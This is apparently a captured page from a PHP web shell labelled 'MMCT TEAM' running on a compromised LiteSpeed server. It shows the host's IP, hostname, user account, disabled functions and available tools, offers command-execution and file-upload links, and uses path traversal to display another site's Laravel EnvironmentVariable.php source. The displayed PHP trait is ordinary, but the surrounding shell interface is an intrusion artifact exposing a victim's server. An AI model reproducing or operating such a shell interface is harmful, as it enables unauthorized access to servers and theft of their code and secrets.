MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/cloudcampus.ncriptech.com/../cms.ncriptech.com/app/Traits/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/cloudcampus.ncriptech.com/../cms.ncriptech.com/app/Traits/EnvironmentVariable.php
<?php

namespace App\Traits;

use Illuminate\Support\Facades\File;
use Illuminate\Http\Request;

trait EnvironmentVariable {

    /**
     * @param Request $request
     */
    function updateEnvVariable($key, $value)
    {
        // Path to the .env file
        $envPath = base_path('.env');

        // Read the current .env file content
        $envContent = File::get($envPath);

        // Create a pattern to find the target variable
        $pattern = "/^{$key}=.*/m";

        // Replace the target variable value
        $replacement = "{$key}={$value}";

        // Check if the variable exists in the .env file
        if (preg_match($pattern, $envContent)) {
            // Replace the existing value
            $envContent = preg_replace($pattern, $replacement, $envContent);
        } else {
            // Append the new variable at the end of the file
            $envContent .= "\n{$replacement}";
        }

        // Write the updated content back to the .env file
        File::put($envPath, $envContent);
    }
}

MMCT - 2023